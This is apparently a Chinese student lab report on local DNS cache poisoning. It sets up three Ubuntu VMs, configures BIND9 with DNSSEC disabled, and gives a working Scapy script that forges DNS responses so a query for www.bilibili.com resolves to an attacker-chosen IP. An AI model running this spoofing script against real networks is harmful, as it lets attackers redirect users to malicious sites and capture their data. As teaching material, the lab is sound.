
实验名称：实现本地 DNS 缓存中毒攻击 

 

实验原理：通过污染 DNS Cache，用虚假的 IP 地址信息替换 Cache 中主机记录的真实 IP

地址信息，可以改变域名和 IP 的映射关系，使得用户在访问某网站时被错误引导至攻击者

的网站中，从而暴露隐私信息。DNS 服务架构如下图所示。 

 

实验环境：三台 Ubuntu23.04 虚拟机 

 

实验步骤： 

1. 配置实验环境 

1） 本实验使用基于 VMware Workstation Pro 搭载 Ubuntu23.04 的三台虚拟机进行演示，

分别是模拟客户端的虚拟机 User、模拟 DNS 服务器的虚拟机 DNS Server 和模拟攻

击者的虚拟机 Attacker。系统信息如下图所示。 

2. 配置 DNS Server 

1) 在终端中输入命令 hostname -I 查看本机 IP 地址，为 192.168.233.135。 

2) 在终端中输入命令 sudo apt-get install bind9 -y，安装 BIND9 程序。 

3) 在终端中输入命令 sudo nano /etc/bind/named.conf，配置正向查询域和反向查询域。 



4) 在终端中输入命令 sudo nano /etc/bind/named.conf.options，关闭 dnssec，设置允许查

询和转发。 

5) 在终端中输入命令 sudo nano /etc/bind/example.com.db，设置 www.example.com 的 IP

地址为 192.168.0.101。 

6) 在终端中输入命令 sudo nano /etc/bind/example.com.db，设置 IP 地址 192.168.0.101 对

应的域名为 www.example.com。 



3. 验证 DNS Server 是否配置成功 

1) 在 User 终端中输入命令 sudo nano /etc/resolv.conf，修改文件中 name-server 配置为

“nameserver 192.168.233.135”，将 DNS 服务器地址设置为 DNS Server 的 IP 地址

192.168.233.135。 

2) 在 User 终端中输入命令 dig www.example.com，返回对应 IP 为 192.168.0.101，输

入命令 dig -x 192.168.0.101，返回对应域名为 www.example.com。说明本地 DNS 服

务器配置成功。 

4. 模拟攻击 

1) 配置 Attacker 环境。在 Attacker 终端中输入命令 sudo apt install python3 python3-pip 

-y 安装 python3 和 pip，输入命令 sudo apt install python3-scapy 安装 scapy 库。 

2) 在 Attacker 中编写 python 攻击程序代码 spoofdns.py，如下所示。开始运行该程序



后，当 User 通过 dig 命令查询某域名时，触发 DNS Server 向权威域名服务器发送

DNS 请求，Attacker 会伪造 DNS 应答包并发给 DNS Server，从而使 User 得到的 IP

地址为攻击者设定好的地址。 

from scapy.all import * 

def Spoof_DNS(packet): 

    if (DNS in packet): 

        IPpacket = IP(dst=packet[IP].src,src=packet[IP].dst) 

        UDPpacket = UDP(dport=packet[UDP].sport, sport=53) 

        Ans = DNSRR(rrname=packet[DNS].qd.qname, type="A", ttl=172800, rdata='108.109.10.66') 

        DNSpacket = DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, an=Ans) 

        spoofpacket = IPpacket/UDPpacket/DNSpacket 

        send(spoofpacket) 

        spoofpacket.show() 

sniff(prn=Spoof_DNS, filter='udp and (src host 192.168.233.135)') 

3) 在 Attacker 终端中输入命令 sudo python3 ./spoofdns.py，开始攻击程序。 

4) 在 User 终端中输入命令 dig www.bilibili.com，得到结果如下面第一张图所示，IP 地

址为 108.109.10.66，而正确结果应为下面第二张图所示，说明攻击成功。 

http://www.bilibili.com/


5) 当进行攻击时，Attacker 发送的伪造 DNS 请求如下所示。 


